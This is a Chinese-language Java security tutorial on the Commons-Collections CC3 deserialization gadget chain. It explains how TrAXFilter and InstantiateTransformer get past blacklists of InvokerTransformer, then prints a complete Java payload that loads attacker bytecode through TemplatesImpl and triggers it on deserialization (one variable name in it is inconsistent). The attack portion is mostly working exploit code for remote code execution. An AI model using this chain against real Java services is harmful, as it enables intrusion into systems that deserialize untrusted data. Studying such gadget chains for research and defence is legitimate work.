我们来分析一下为什么可以这样构造 。
【Java安全之CC3】首先在java安全之CC1浅学(1)中,我们了解到CC链其核心原理是InvokerTransformer#transform
,可以执行任意方法 。
在Java安全之动态加载字节码中我们了解到TemplatesImpl加载字节码
的调用链前边TemplatesImpl#newTransformer()
那么我们可以将InvokerTransformer
参数由原来的exec()
方法换成newTransformer()
方法,这样就组成了一条新的链
由于我们这里依旧使用了TransformedMap
所以版本依旧限制在8U71
之前
成功执行字节码
文章插图
ysoserial再来看ysoserial中的CC3,可以发现其中没有使?到
InvokerTransformer
原因是什么呢?文章插图
2015年初,@frohoff和@gebl发布了Marshalling Pickles:how deserializing objects will ruin your day,以及反序列化利用工具yaoserial , 安全开发者自然会去寻找一种安全的过滤方法,类似SerialKiller这样的工具随之诞生:
SerialKiller是?个Java反序列化过滤器,可以通过?名单与?名单的?式来限制反序列化时允许通过的类 。在其发布的第?个版本代码中,我们可以看到其给出了最初的?名单
文章插图
这个?名单中
InvokerTransformer
赫然在列,也就切断了CommonsCollections1
的利?链 。ysoserial随后增加了不少新的Gadgets,其中就包括CommonsCollections3
。CommonsCollections3的?的很明显,就是为了绕过?些规则对InvokerTransformer的限制 。CommonsCollections3并没有使?到InvokerTransformer来调?任意?法,?是?到了另?个 类,
com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter
这个类的构造?法中调?
(TransformerImpl) templates.newTransformer()
,免去了我们使?InvokerTransformer??调? newTransformer() ?法这?步文章插图
当然,缺少了InvokerTransformer ,
TrAXFilter
的构造?法也是?法调?的 。这?会?到?个新的Transformer , 就是 org.apache.commons.collections.functors.InstantiateTransformer
。InstantiateTransformer
也是?个实现了Transformer
接?的类,他的作?就是调?构造?法.目标很明确了 , 利?
InstantiateTransformer
来调?到TrAXFilter
的构造?法,再利?其构造?法?的templates.newTransformer()
调?到TemplatesImpl
?的字节码构造的Transformer调?链如下:
Transformer[] transformers = new Transformer[]{new ConstantTransformer(TrAXFilter.class),new InstantiateTransformer(new Class[] { Templates.class },new Object[] { obj })};
替换到前?的demo中,也能成功触发,避免了使?InvokerTransformer
文章插图
接下来,就来构造一个完整的Payload:
public class CC3 {public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}public static void main(String[] args) throws Exception {TemplatesImpl obj = new TemplatesImpl();setFieldValue(obj, "_bytecodes", new byte[][]{ClassPool.getDefault().get(evil.EvilTemplatesImpl.class.getName()).toBytecode()});setFieldValue(obj, "_name", "HelloTemplatesImpl");setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};Transformer[] transformers = new Transformer[]{new ConstantTransformer(TrAXFilter.class),new InstantiateTransformer(new Class[] { Templates.class },new Object[] { obj })};Transformer chain = new ChainedTransformer(fakeTransformers);Map innerMap = new HashMap();innerMap.put("value", "xxxx");Map outerMap = TransformedMap.decorate(innerMap, null, chain);Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);construct.setAccessible(true);InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);setFieldValue(transformerChain, "iTransformers", transformers);// ==================// 生成序列化字符串ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(handler);oos.close();// 本地测试触发// System.out.println(barr);ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));Object o = (Object) ois.readObject();}}
推荐阅读
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 云顶之弈冒险迭嘉阵容搭配推荐攻略
- 猫之城补偿武装SSR茂林余音/浪花约会/疯人院/暴走炮手选择建议
- 中国碳排放量占全球百分之几 世界碳排放量
- 三星TabS8最新消息_三星TabS8刘海屏幕曝光
- Java8中那些方便又实用的Map函数
- 【JAVA】详解在JAVA中int与Integer的区别以及背后的原因。
- Unity之"诡异"的协程
- JUC学习笔记——共享模型之管程
- vulnhub靶场之DOUBLETROUBLE: 1
- 奥比岛:梦想国度新版本暗影之谜有什么内容